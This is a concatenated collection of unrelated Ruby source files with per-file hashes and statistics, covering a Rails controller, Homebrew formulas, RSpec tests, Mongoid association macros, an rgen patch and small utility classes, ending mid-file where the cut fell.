269e4ff554332d4b9dcb57960fa1ef2d032af8bb | 4,580 | class PunchesController < ApplicationController
###############################################
# Punchy
# Please submit bug reports/suggestions via the github repo http://github.com/mazondo/Punchy
#
# Copyright (c) 2010 Ryan Quinn
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
################################################
# GET /punches
# GET /punches.xml
def index
@punches = Punch.all.paginate(:page => params[:page], :per_page => Punch.per_page)
@punch = Punch.new
respond_to do |format|
format.html # index.html.erb
format.xml { render :xml => @punches }
format.js
end
end
# GET /punches/1
# GET /punches/1.xml
def show
@punch = Punch.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @punch }
end
end
# GET /punches/new
# GET /punches/new.xml
def new
@punch = Punch.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @punch }
end
end
# GET /punches/1/edit
def edit
@punch = Punch.find(params[:id])
end
# POST /punches
# POST /punches.xml
def create
@punch = Punch.new(params[:punch])
respond_to do |format|
if @punch.parse_and_save
format.html { redirect_to(punches_path, :notice => 'Punch was successfully created.') }
format.xml { render :xml => @punch, :status => :created, :location => @punch }
format.js
else
format.html { render :action => "new" }
format.xml { render :xml => @punch.errors, :status => :unprocessable_entity }
end
end
end
# PUT /punches/1
# PUT /punches/1.xml
def update
@punch = Punch.find(params[:id])
@punch.attributes = params[:punch]
respond_to do |format|
if @punch.parse_and_save
format.html { redirect_to(punches_path, :notice => 'Punch was successfully updated.') }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @punch.errors, :status => :unprocessable_entity }
end
end
end
# DELETE /punches/1
# DELETE /punches/1.xml
def destroy
@punch = Punch.find(params[:id])
@punch.destroy
respond_to do |format|
format.html { redirect_to(punches_url) }
format.xml { head :ok }
end
end
#this is the json function for the autocomplete
def autocomplete
@tags = nil
unless params[:term].blank?
case params[:term].first
when "\#"
term = params[:term].gsub("\#", "")
@tags = Punch.project_counts.where("tags.name like ?", "%#{term}%").collect! {|p| "\#" + p.name}
when "@"
term = params[:term].gsub("@", "")
@tags = Punch.client_counts.where("tags.name like ?", "%#{term}%").collect! {|c| "@" + c.name}
when "*"
term = params[:term].gsub("*", "")
@tags = Punch.action_counts.where("tags.name like ?", "%#{term}%").collect! {|a| "*" + a.name}
else
term = params[:term]
@tags = Punch.project_counts.where("tags.name like ?", "%#{term}%").collect! {|p| "\#" + p.name}
@tags << Punch.action_counts.where("tags.name like ?", "%#{term}%").collect! {|a| "*" + a.name}
@tags << Punch.client_counts.where("tags.name like ?", "%#{term}%").collect! {|c| "@" + c.name}
end
@tags.flatten!
end
respond_to do |format|
format.js { render :json => @tags}
end
end
def start
@punch = Punch.find(params[:id])
@punch.start_work
end
def stop
@punch = Punch.find(params[:id])
@punch.stop_work
end
end
| 30.331126 | 100 | 0.627948 |
bb21f1cb9342d1521e984ed09b91188e1b84b065 | 1,252 | class Awsweeper < Formula
desc "CLI tool for cleaning your AWS account"
homepage "https://github.com/jckuester/awsweeper/"
url "https://github.com/jckuester/awsweeper/archive/v0.12.0.tar.gz"
sha256 "43468e1af20dab757da449b07330f7b16cbb9f77e130782f88f30a7744385c5e"
license "MPL-2.0"
head "https://github.com/jckuester/awsweeper.git", branch: "master"
bottle do
root_url "https://github.com/gromgit/homebrew-core-mojave/releases/download/awsweeper"
rebuild 2
sha256 cellar: :any_skip_relocation, mojave: "2eed06254bc17472737ae077abe284579afe052ad29a2c2ff3c977aab9707d05"
end
# Bump to 1.18 on the next release, if possible.
depends_on "[email protected]" => :build
def install
ldflags = %W[
-s -w
-X github.com/jckuester/awsweeper/internal.version=#{version}
-X github.com/jckuester/awsweeper/internal.date=#{time.strftime("%F")}
]
system "go", "build", *std_go_args(ldflags: ldflags)
end
test do
(testpath/"filter.yml").write <<~EOS
aws_autoscaling_group:
aws_instance:
- tags:
Name: foo
EOS
assert_match "Error: failed to configure provider (name=aws",
shell_output("#{bin}/awsweeper --dry-run #{testpath}/filter.yml 2>&1", 1)
end
end
| 31.3 | 115 | 0.699681 |
1dc35790dfa5c80be24496c6e5857e731c0861b6 | 1,309 | require_relative '../../spec_helper'
require_relative 'shared/comparison_coerce'
describe "Integer#<" do
it_behaves_like :integer_comparison_coerce_not_rescue, :<
context "fixnum" do
it "returns true if self is less than the given argument" do
(2 < 13).should == true
(-600 < -500).should == true
(5 < 1).should == false
(5 < 5).should == false
(900 < bignum_value).should == true
(5 < 4.999).should == false
end
it "raises an ArgumentError when given a non-Integer" do
-> { 5 < "4" }.should raise_error(ArgumentError)
-> { 5 < mock('x') }.should raise_error(ArgumentError)
end
end
context "bignum" do
before :each do
@bignum = bignum_value(32)
end
it "returns true if self is less than the given argument" do
(@bignum < @bignum + 1).should == true
# NATFIXME: Make Integer negation spec compliant with bignums
# (-@bignum < -(@bignum - 1)).should == true
(@bignum < 1).should == false
(@bignum < 5).should == false
(@bignum < 4.999).should == false
end
it "raises an ArgumentError when given a non-Integer" do
-> { @bignum < "4" }.should raise_error(ArgumentError)
-> { @bignum < mock('str') }.should raise_error(ArgumentError)
end
end
end
| 27.851064 | 68 | 0.612681 |
6142046ac5bd23a9a0db69feb73890f385d2ba6c | 225 | require 'spec_helper'
describe 'gce_gcsfuse::default' do
# Serverspec examples can be found at
# http://serverspec.org/resource_types.html
it 'does something' do
skip 'Replace this with meaningful tests'
end
end
| 22.5 | 45 | 0.746667 |
e966f4e45e493c3fc43963066d7f0e0a9b062ad6 | 768 | require 'rails_helper'
RSpec.describe User, type: :model do
describe 'validations' do
it { should validate_presence_of(:name) }
it { should validate_presence_of(:email) }
it { should validate_presence_of(:username) }
it { should validate_presence_of(:password) }
it { should validate_presence_of(:password) }
it { should_not allow_value('xy').for(:username) }
end
describe 'associations' do
it { should have_many(:articles) }
it { should have_many(:articles).with_foreign_key('author_id').dependent(:destroy) }
it { should have_many(:votes) }
it { should have_many(:voted_articles).through(:votes) }
it { should have_many(:bookmarks) }
it { should have_many(:bookmarked_articles).through(:bookmarks) }
end
end
| 34.909091 | 88 | 0.705729 |
3811e67f768b6e959ee730915ae3d0f449eecdaf | 1,740 | # Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership. The
# ASF licenses this file to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance with the
# License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
class CIMI::Service::SystemNetworkPort < CIMI::Service::Base
def self.find(system_id, context, id=:all)
if id == :all
ports = context.driver.system_network_ports(context.credentials, {:env=>context, :system_id=>system_id})
ports.collect {|e| CIMI::Service::SystemNetworkPort.new(context, :model => e)}
else
ports = context.driver.system_network_ports(context.credentials, {:env=>context, :system_id=>system_id, :id=>id})
raise CIMI::Model::NotFound if ports.empty?
CIMI::Service::SystemNetworkPort.new(context, :model => ports.first)
end
end
def self.collection_for_system(system_id, context)
system_network_ports = self.find(system_id, context)
network_ports_url = context.system_network_ports_url(system_id) if context.driver.has_capability? :add_network_ports_to_system
CIMI::Model::SystemNetworkPort.list(network_ports_url, system_network_ports, :add_url => network_ports_url)
end
end
| 48.333333 | 130 | 0.757471 |
ab83be3637bf1684e9d61044b93e0b830cc009a8 | 121 | module Rails
module Html
module Owasp
class Sanitizer
VERSION = "1.0.0"
end
end
end
end
| 11 | 25 | 0.561983 |
e96f82f7a85847ae06c8e198a6de6e6a944d2799 | 587 | module Servicetools
class Systemd
def start(options)
generate_service
system "systemctl start #{@project}"
end
def stop(options)
generate_service
system "systemctl stop #{@project}"
end
def status(options)
generate_service
system "systemctl status #{@project}"
end
def restart(options)
generate_service
system "systemctl restart #{@project}"
end
def info(options)
end
def systemd_config(options)
raise "to be implemented"
end
def generate_service
end
end
end
| 17.264706 | 44 | 0.630324 |
ac50d8c939c7a92c409f9176b3ddc1766e6d5805 | 1,275 | class Jump < Formula
desc "Helps you navigate your file system faster by learning your habits"
homepage "https://github.com/gsamokovarov/jump"
url "https://github.com/gsamokovarov/jump/archive/v0.19.0.tar.gz"
sha256 "1157a681d8f43d95febf2222004c26b0642f0493cf04832cb4ba08f256e708ff"
head "https://github.com/gsamokovarov/jump.git"
bottle do
cellar :any_skip_relocation
sha256 "ed12462e761dfe7f8b94f725da5e3c7cd5e07e919271f2b7112c7f502ee8f2f3" => :high_sierra
sha256 "cb3ff0b9a0613978cdabf1116d375f8bbeb1944b5bb2e499b8345584e2486f35" => :sierra
sha256 "ac590af2dd1b8d49ee547b5cd34e84253d38a7c2023a47e800522b02b1d92e7f" => :el_capitan
sha256 "8b71fd32de95a20064d7206887bdf29088beb045c4c3bbe0cf3612e41afbcd5e" => :x86_64_linux
end
depends_on "go" => :build
def install
ENV["GOPATH"] = buildpath
(buildpath/"src/github.com/gsamokovarov").mkpath
ln_s buildpath, buildpath/"src/github.com/gsamokovarov/jump"
system "go", "build", "-o", "#{bin}/jump"
man1.install "man/jump.1"
end
test do
(testpath/"test_dir").mkpath
ENV["JUMP_HOME"] = testpath.to_s
system "#{bin}/jump", "chdir", "#{testpath}/test_dir"
assert_equal (testpath/"test_dir").to_s, shell_output("#{bin}/jump cd tdir").chomp
end
end
| 36.428571 | 94 | 0.750588 |
bbefa92a6bc97e922448a9e48d0723dd8fc8877f | 131 | # frozen_string_literal: true
module CXML
class GrossAmount < DocumentNode
accessible_nodes %i[
money
]
end
end
| 13.1 | 34 | 0.694656 |
ed3195affba9128a5c9fed6fa9642cae217eb63b | 114 | require "quick_search/history/engine"
module QuickSearch
module History
# Your code goes here...
end
end
| 14.25 | 37 | 0.736842 |
ed401c4912e348ca6da446a01d1cb9dfa17d53ca | 1,058 | module Rasti
module Web
module ApiDoc
class Request
def initialize(env)
@env = env
end
def method
env['REQUEST_METHOD']
end
def path_info
env['PATH_INFO']
end
def route
env['PATH_INFO'].dup.tap do |path_info|
route_params.each do |name, value|
path_info.sub! value, ":#{name}"
end
end
end
def route_params
env['rack.request.route_params'] || {}
end
def query_params
env['rack.request.query_hash'] || {}
end
def form_params
env['rack.request.form_hash'] || {}
end
def headers
headers = env.select { |k,v| k.start_with?('HTTP_') || k == 'CONTENT_TYPE' }
.map { |k,v| [k.sub(/^HTTP_/, '').split('_').map(&:capitalize).join('-'), v] }
.sort
Hash[headers]
end
private
attr_reader :env
end
end
end
end | 20.346154 | 101 | 0.464083 |
1cb033d813a2b8a4344dfac02e88d10248f45fab | 7,862 | # frozen_string_literal: true
module Mongoid
module Association
# This module contains the core macros for defining associations between
# documents. They can be either embedded or referenced.
module Macros
extend ActiveSupport::Concern
included do
class_attribute :embedded, instance_reader: false
class_attribute :embedded_relations
class_attribute :relations
# A hash that maps aliases to their associations. This is used when
# associations specify the `as` option, or on a referenced association.
# On a referenced association, this is used to map the foreign key to
# the association's name. For example, if we had the following
# relationship:
#
# User has_many Accounts
#
# User will have an entry in the aliased associations hash:
#
# account_ids => accounts
#
# Note that on the belongs_to associations, the mapping from
# foreign key => name is not in the aliased_associations hash, but a
# mapping from name => foreign key is in the aliased_fields hash.
#
# @return [ Hash<String, String> ] The aliased associations hash.
#
# @api private
class_attribute :aliased_associations
self.embedded = false
self.embedded_relations = BSON::Document.new
self.relations = BSON::Document.new
self.aliased_associations = {}
end
# This is convenience for libraries still on the old API.
#
# @example Get the associations.
# person.associations
#
# @return [ Hash ] The associations.
def associations
self.relations
end
module ClassMethods
# Adds the association back to the parent document. This macro is
# necessary to set the references from the child back to the parent
# document. If a child does not define this association calling
# persistence methods on the child object will cause a save to fail.
#
# @example Define the association.
#
# class Person
# include Mongoid::Document
# embeds_many :addresses
# end
#
# class Address
# include Mongoid::Document
# embedded_in :person
# end
#
# @param [ Symbol ] name The name of the association.
# @param [ Hash ] options The association options.
# @param [ Proc ] block Optional block for defining extensions.
def embedded_in(name, options = {}, &block)
define_association!(__method__, name, options, &block)
end
# Adds the association from a parent document to its children. The name
# of the association needs to be a pluralized form of the child class
# name.
#
# @example Define the association.
#
# class Person
# include Mongoid::Document
# embeds_many :addresses
# end
#
# class Address
# include Mongoid::Document
# embedded_in :person
# end
#
# @param [ Symbol ] name The name of the association.
# @param [ Hash ] options The association options.
# @param [ Proc ] block Optional block for defining extensions.
def embeds_many(name, options = {}, &block)
define_association!(__method__, name, options, &block)
end
# Adds the association from a parent document to its child. The name
# of the association needs to be a singular form of the child class
# name.
#
# @example Define the association.
#
# class Person
# include Mongoid::Document
# embeds_one :name
# end
#
# class Name
# include Mongoid::Document
# embedded_in :person
# end
#
# @param [ Symbol ] name The name of the association.
# @param [ Hash ] options The association options.
# @param [ Proc ] block Optional block for defining extensions.
def embeds_one(name, options = {}, &block)
define_association!(__method__, name, options, &block)
end
# Adds a referenced association from the child Document to a Document
# in another database or collection.
#
# @example Define the association.
#
# class Game
# include Mongoid::Document
# belongs_to :person
# end
#
# class Person
# include Mongoid::Document
# has_one :game
# end
#
# @param [ Symbol ] name The name of the association.
# @param [ Hash ] options The association options.
# @param [ Proc ] block Optional block for defining extensions.
def belongs_to(name, options = {}, &block)
define_association!(__method__, name, options, &block)
end
# Adds a referenced association from a parent Document to many
# Documents in another database or collection.
#
# @example Define the association.
#
# class Person
# include Mongoid::Document
# has_many :posts
# end
#
# class Game
# include Mongoid::Document
# belongs_to :person
# end
#
# @param [ Symbol ] name The name of the association.
# @param [ Hash ] options The association options.
# @param [ Proc ] block Optional block for defining extensions.
def has_many(name, options = {}, &block)
define_association!(__method__, name, options, &block)
end
# Adds a referenced many-to-many association between many of this
# Document and many of another Document.
#
# @example Define the association.
#
# class Person
# include Mongoid::Document
# has_and_belongs_to_many :preferences
# end
#
# class Preference
# include Mongoid::Document
# has_and_belongs_to_many :people
# end
#
# @param [ Symbol ] name The name of the association.
# @param [ Hash ] options The association options.
# @param [ Proc ] block Optional block for defining extensions.
def has_and_belongs_to_many(name, options = {}, &block)
define_association!(__method__, name, options, &block)
end
# Adds a referenced association from the child Document to a Document
# in another database or collection.
#
# @example Define the association.
#
# class Game
# include Mongoid::Document
# belongs_to :person
# end
#
# class Person
# include Mongoid::Document
# has_one :game
# end
#
# @param [ Symbol ] name The name of the association.
# @param [ Hash ] options The association options.
# @param [ Proc ] block Optional block for defining extensions.
def has_one(name, options = {}, &block)
define_association!(__method__, name, options, &block)
end
private
def define_association!(macro_name, name, options = {}, &block)
Association::MACRO_MAPPING[macro_name].new(self, name, options, &block).tap do |assoc|
assoc.setup!
self.relations = self.relations.merge(name => assoc)
if assoc.embedded? && assoc.respond_to?(:store_as) && assoc.store_as != name
self.aliased_associations[assoc.store_as] = name
end
end
end
end
end
end
end
| 34.482456 | 96 | 0.578606 |
1cf1056353ecd246e5c6ce755c0da766f6794cb2 | 1,121 | class Jetty < Formula
desc "Java servlet engine and webserver"
homepage "https://www.eclipse.org/jetty/"
url "http://download.eclipse.org/jetty/9.3.5.v20151012/dist/jetty-distribution-9.3.5.v20151012.tar.gz"
version "9.3.5.v20151012"
sha256 "24e80e350fcc9749aa4a29913c34917ad238a0fa3abdb7d7c9b42dc40bdf0f9b"
bottle :unneeded
depends_on :java => "1.8+"
def install
libexec.install Dir["*"]
(libexec+"logs").mkpath
bin.mkpath
Dir.glob("#{libexec}/bin/*.sh") do |f|
scriptname = File.basename(f, ".sh")
(bin+scriptname).write <<-EOS.undent
#!/bin/bash
JETTY_HOME=#{libexec}
#{f} "$@"
EOS
chmod 0755, bin+scriptname
end
end
test do
ENV["JETTY_BASE"] = testpath
cp_r Dir[libexec/"*"], testpath
pid = fork { exec bin/"jetty", "start" }
sleep 5 # grace time for server start
begin
assert_match /Jetty running pid=\d+/, shell_output("#{bin}/jetty check")
assert_equal "Stopping Jetty: OK\n", shell_output("#{bin}/jetty stop")
ensure
Process.kill 9, pid
Process.wait pid
end
end
end
| 26.690476 | 104 | 0.641392 |
792f10b656a88449bc9feb63a6bd0b645694d4d1 | 261 | require 'rails_helper'
RSpec.describe "StudioHomePages", type: :request do
describe "GET /studio_home_pages" do
it "works! (now write some real specs)" do
get studio_home_pages_path
expect(response).to have_http_status(200)
end
end
end
| 23.727273 | 51 | 0.724138 |
28db68de24fc45548939e8b9cf5984d3f1c5aa34 | 4,858 | # Patch to improve generated addXXX and setXXX method performance
#
# Submitted to rgen as PR: https://github.com/mthiede/rgen/pull/22. This
# patch should be removed once that PR has been included in an rgen
# release.
#
# The current implementation of the generated addXXX method will iterate
# over the contained array where each iteration will then test for object_id
# equality. Once the iteration is done and such an entry is found it
# checks if the added value is an instance of MMBase or MMGeneric. If it
# is, then it's considered a duplicate and the method returns.
#
# This patch changes the implementation so that the test for MMBase/
# MMGeneric is made prior to the iteration, thus avoiding the iteration
# alltogether for all non model objects
#
# The patch also changes the setXXX method to allow it to optimize the way
# it ensures that the added elements are unique. Calling the addXXX method
# to do an increasingly expensive sequential scan is very expensive when
# large sets of values are assigned.
#
require 'rgen/util/name_helper'
require 'rgen/metamodel_builder/constant_order_helper'
require 'rgen/metamodel_builder/builder_extensions'
module RGen
module MetamodelBuilder
module BuilderExtensions
def _build_many_methods(props, other_props=nil)
name = props.value(:name)
other_role = other_props && other_props.value(:name)
if props.value(:derived)
build_derived_method(name, props, :many)
else
@@many_read_builder ||= ERB.new <<-CODE
def get<%= firstToUpper(name) %>
( @<%= name %> ? @<%= name %>.dup : [] )
end
<% if name != "class" %>
alias <%= name %> get<%= firstToUpper(name) %>
<% end %>
CODE
self::ClassModule.module_eval(@@many_read_builder.result(binding))
end
if props.value(:changeable)
@@many_write_builder ||= ERB.new <<-CODE
def add<%= firstToUpper(name) %>(val, index=-1)
@<%= name %> = [] unless @<%= name %>
return if val.nil? || (val.is_a?(MMBase) || val.is_a?(MMGeneric)) && @<%= name %>.any? {|e| e.equal?(val)}
<%= type_check_code("val", props) %>
@<%= name %>.insert(index, val)
<% if other_role %>
val._register<%= firstToUpper(other_role) %>(self) unless val.is_a?(MMGeneric)
<% end %>
<% if props.reference? && props.value(:containment) %>
val._set_container(self, :<%= name %>)
<% end %>
end
def remove<%= firstToUpper(name) %>(val)
@<%= name %> = [] unless @<%= name %>
@<%= name %>.each_with_index do |e,i|
if e.equal?(val)
@<%= name %>.delete_at(i)
<% if props.reference? && props.value(:containment) %>
val._set_container(nil, nil)
<% end %>
<% if other_role %>
val._unregister<%= firstToUpper(other_role) %>(self) unless val.is_a?(MMGeneric)
<% end %>
return
end
end
end
def set<%= firstToUpper(name) %>(val)
return if val.nil?
raise _assignmentTypeError(self, val, Enumerable) unless val.is_a? Enumerable
get<%= firstToUpper(name) %>.each {|e|
remove<%= firstToUpper(name) %>(e)
}
@<%= name %> = [] unless @<%= name %>
<% if props.reference? %>
val.uniq {|elem| elem.object_id }.each {|elem|
next if elem.nil?
<%= type_check_code("elem", props) %>
@<%= name %> << elem
<% if other_role %>
elem._register<%= firstToUpper(other_role) %>(self) unless elem.is_a?(MMGeneric)
<% end %>
<% if props.value(:containment) %>
elem._set_container(self, :<%= name %>)
<% end %>
}
<% else %>
val.each {|elem|
<%= type_check_code("elem", props) %>
@<%= name %> << elem
}
<% end %>
end
alias <%= name %>= set<%= firstToUpper(name) %>
def _register<%= firstToUpper(name) %>(val)
@<%= name %> = [] unless @<%= name %>
@<%= name %>.push val
<% if props.reference? && props.value(:containment) %>
val._set_container(self, :<%= name %>)
<% end %>
end
def _unregister<%= firstToUpper(name) %>(val)
@<%= name %>.delete val
<% if props.reference? && props.value(:containment) %>
val._set_container(nil, nil)
<% end %>
end
CODE
self::ClassModule.module_eval(@@many_write_builder.result(binding))
end
end
end
end
end
| 36.526316 | 118 | 0.548786 |
e24daaad7d7b87c69e054fa9875a840ad45baeee | 3,053 | module Providers
module ApplicationMeritsTask
class StatementOfCasesController < ProviderBaseController
def show
populate_form
end
def update
if upload_button_pressed?
perform_upload
elsif save_continue_or_draft(form)
convert_new_files_to_pdf
else
render :show
end
end
def destroy
original_file = delete_original_and_pdf_files
@successfully_deleted = files_deleted_message(original_file.attachment_name) unless original_file.nil?
populate_form
render :show
end
private
def populate_form
@form = StatementOfCases::StatementOfCaseForm.new(model: statement_of_case)
end
def perform_upload
form.upload_button_pressed = true
if form.save
@successful_upload = successful_upload
else
@error_message = error_message
end
render :show
end
def error_message
return if form.errors.blank?
"#{I18n.t('accessibility.problem_text')} #{form.errors.messages[:original_file].first}"
end
def files_deleted_message(deleted_file_name)
I18n.t('activemodel.attributes.application_merits_task/statement_of_case.file_deleted', file_name: deleted_file_name)
end
def successful_upload
return if form.errors.present?
I18n.t('activemodel.attributes.application_merits_task/statement_of_case.file_uploaded', file_name: form.original_file.original_filename)
end
def convert_new_files_to_pdf
statement_of_case.original_attachments.each do |attachment|
PdfConverterWorker.perform_async(attachment.id)
end
end
def upload_button_pressed?
params[:upload_button].present?
end
def form
@form ||= StatementOfCases::StatementOfCaseForm.new(statement_of_case_params)
end
def statement_of_case_params
params[:application_merits_task_statement_of_case] = { original_file: [], statement: nil } unless params.key?(:application_merits_task_statement_of_case)
merge_with_model(statement_of_case, provider_uploader: current_provider) do
params.require(:application_merits_task_statement_of_case).permit(:statement, :original_file)
end
end
def statement_of_case
@statement_of_case ||= legal_aid_application.statement_of_case || legal_aid_application.build_statement_of_case
end
def delete_original_and_pdf_files
original_attachment = Attachment.find(attachment_id)
delete_attachment(Attachment.find(original_attachment.pdf_attachment_id)) if original_attachment.pdf_attachment_id.present?
delete_attachment(original_attachment)
rescue StandardError
original_attachment
end
def delete_attachment(attachment)
attachment.document.purge_later
attachment.destroy
end
def attachment_id
params[:attachment_id]
end
end
end
end
| 30.227723 | 161 | 0.70226 |
1ceb992c9ea18d3bf4273c90ef02d1b4cb28c918 | 1,035 | require 'spec_helper'
describe Matchers::OutputApproval do
subject { Matchers::OutputApproval.new 'something' }
describe '::output_approval' do
it "works" do
expect{ print 'anything' }.to output_approval('anything')
end
end
describe '#matches?' do
context "when interactive mode is enabled" do
before :all do
RSpec.configuration.interactive_approvals = true
end
after :all do
RSpec.configuration.interactive_approvals = false
end
it "requests user approval" do
expect(subject).to receive(:approve_approval).and_return true
expect(subject.matches? Proc.new { puts 'nothing' } ).to be true
end
end
end
describe '#to_stdout' do
it "sets @stream_capturer to CaotureStdout" do
expect(subject.to_stdout.stream_capturer).to be Stream::Stdout
end
end
describe '#to_stderr' do
it "sets @stream_capturer to CaotureStderr" do
expect(subject.to_stderr.stream_capturer).to be Stream::Stderr
end
end
end
| 24.642857 | 72 | 0.685024 |
3922ac7d2a8308ef661fa46e12ff1eb802972779 | 1,390 | # frozen_string_literal: true
class DeviseCreateUsers < ActiveRecord::Migration[6.0]
def change
create_table :users do |t|
## Database authenticatable
t.string :email, null: false, default: ""
t.string :encrypted_password, null: false, default: ""
## Recoverable
t.string :reset_password_token
t.datetime :reset_password_sent_at
## Rememberable
t.datetime :remember_created_at
## Trackable
# t.integer :sign_in_count, default: 0, null: false
# t.datetime :current_sign_in_at
# t.datetime :last_sign_in_at
# t.inet :current_sign_in_ip
# t.inet :last_sign_in_ip
# Confirmable
t.string :confirmation_token
t.datetime :confirmed_at
t.datetime :confirmation_sent_at
t.string :unconfirmed_email # Only if using reconfirmable
## Lockable
# t.integer :failed_attempts, default: 0, null: false # Only if lock strategy is :failed_attempts
# t.string :unlock_token # Only if unlock strategy is :email or :both
# t.datetime :locked_at
t.timestamps null: false
end
add_index :users, :email, unique: true
add_index :users, :reset_password_token, unique: true
add_index :users, :confirmation_token, unique: true
# add_index :users, :unlock_token, unique: true
end
end
| 30.888889 | 104 | 0.653237 |
5d2ba732315b7102621aa5afa99f9c82e6706979 | 685 | # frozen_string_literal: true
require 'base64'
module Uphold
module API
module AuthToken
def generate_access_token(username: '', password: '', otp: '')
request_data = Uphold::RequestData.new(
Endpoints::AUTH,
Entities::AuthToken,
auth_headers(username, password, otp),
description: 'Uphold ruby'
)
Request.perform_with_object(:post, request_data)
end
def auth_headers(username, password, otp)
{
'X-Uphold-OTP' => otp,
'X-Bitreserve-OTP' => otp,
'Authorization' => 'Basic ' + Base64.encode64("#{username}:#{password}")
}
end
end
end
end
| 24.464286 | 82 | 0.583942 |
acb84c57993e69e3e764a6cd7b6c2611582d2600 | 417 | class ApplicationController < ActionController::Base
helper_method :current_user, :logged_in?
def current_user
@current_user ||= User.find_by(id: session[:user_id])
end
def logged_in?
!!current_user
end
def authorized
redirect_to login_path unless logged_in?
end
def authorized_for_user(user)
authorized
if current_user != user
redirect_to current_user
end
end
end
| 18.130435 | 57 | 0.724221 |
4a6cf67166206ed63ba1d03da18a0fced602d7ca | 4,906 | require 'spec_helper'
require 'json'
RSpec.describe Arduino::Library::Model do
context '#initialize' do
let(:schema) { Arduino::Library::Types.schema }
let(:file) { 'spec/fixtures/audio_zero.json' }
let(:json) { JSON.load(File.read(file)) }
let(:hash) { json }
let(:converted) { schema[hash] }
subject(:props) { described_class.new(**converted) }
context 'loading from a single-library JSON' do
it 'should load the hash' do
expect(hash['name']).to eq 'AudioZero'
end
context 'converting from a hash' do
it 'should be fully converted' do
expect(converted[:name]).to eq 'AudioZero'
end
its(:name) { should eq 'AudioZero' }
its(:version) { should eq '1.0.1' }
its(:author) { should eq 'Arduino' }
its(:sentence) { should eq 'Allows playing audio files from an SD card. For Arduino Zero only.' }
its(:paragraph) { should eq "With this library you can use the Arduino Zero DAC outputs to play audio files.\u003cbr /\u003eThe audio files must be in the raw .wav format." }
its(:architectures) { should eq %w(samd) }
its(:types) { should eq %w(Arduino) }
its(:url) { should eq 'http://downloads.arduino.cc/libraries/github.com/arduino-libraries/AudioZero-1.0.1.zip' }
its(:checksum) { should eq 'SHA-256:c938f00aceec2f91465d1486b4cd2d3e1299cdc271eb743d2dedcd8c2dd355a8' }
its(:size) { should eq 4925 }
its(:archiveFileName) { should eq 'AudioZero-1.0.1.zip' }
context '#version_to_i' do
its(:version) { should eq '1.0.1' }
its(:version_to_i) { should eq 1000001 }
context 'different valid version' do
before { hash['version'] = '3.145.10' }
its(:version) { should eq '3.145.10' }
its(:version_to_i) { should eq 3145010 }
end
context 'bad version' do
before { hash['version'] = ugly_version }
context 'different invalid version' do
let(:ugly_version) { 'fdsadsf af jasdf ' }
its(:version) { should eq ugly_version }
its(:version_to_i) { should eq 0 }
end
context 'different real bad version' do
let(:ugly_version) { Array.new }
its(:version) { should eq ugly_version }
its(:version_to_i) { should eq 0 }
end
context 'different real bad version' do
let(:ugly_version) { nil }
its(:version) { should eq ugly_version }
its(:version_to_i) { should eq 0 }
end
end
end
end
context 'json' do
subject(:lib) { described_class.from(source) }
context 'a file' do
let(:source) { file }
its(:name) { should eq 'AudioZero' }
end
context 'auto-detect json' do
let(:source) { File.read(file) }
its(:name) { should eq 'AudioZero' }
end
end
context 'hash' do
context 'valid library' do
subject(:lib) { described_class.from({ name: 'AudioZero', version: '1.0.1'}, {}) }
its(:name) { should eq 'AudioZero' }
end
context 'invalid library' do
subject(:lib) { described_class.from({ name: 'Moochacha', version: '1.0.0'}, {}) }
it { is_expected.to be_nil }
end
end
end
context 'reading from the index multi-library JSON' do
let(:file) { 'spec/fixtures/library_index.json' }
let(:libs) { json['libraries'] }
it 'should load the hash' do
expect(libs.size).to eq(16)
end
16.times do |index|
let(:hash) { json['libraries'][index] }
it 'should properly initialize Properties#name' do
expect(props.name).to eq(hash['name'])
end
it 'should properly initialize Properties#url' do
expect(props.url).to eq(hash['url'])
end
end
end
context '#partial?' do
subject(:lib) { described_class.new(**available)}
context 'name' do
let(:available) { { name: 'AudioZero' } }
its(:partial?) { should be true }
end
context 'checksum' do
let(:available) { { checksum: 'SHA-256:c938f00aceec2f91465d1486b4cd2d3e1299cdc271eb743d2dedcd8c2dd355a8' } }
its(:partial?) { should be true }
end
context 'archiveFileName' do
let(:available) { { archiveFileName: 'MooFoo-2.3.4' } }
its(:partial?) { should be true }
end
end
context 'from' do
context 'named search' do
let(:name) { 'Adafruit GFX Library' }
let(:result) { described_class.from(name: name)}
it 'should return the latest version' do
expect(result.name).to eq(name)
expect(result.version_to_i).to be > 1000000
end
end
end
end
end
| 34.307692 | 182 | 0.575214 |
bfe33c711799e52d727f683e6a6e27f83c0ecf6b | 365 | #
# SmartRails
# Ruby on Rails Project
# (C) Alessio Saltarin 2021
# MIT License
#
class HomeController < ApplicationController
def home
@items = Item.all
logger.info('Home Controller - page: home')
end
def services
logger.info('Home Controller - page: services')
end
def about
logger.info('Home Controller - page: about')
end
end
| 14.6 | 51 | 0.682192 |
f8b9b518a2a54c2f1ef80dd1c3f15e4c0d13d233 | 362 | require "bundler/setup"
require "alltop"
RSpec.configure do |config|
# Enable flags like --only-failures and --next-failure
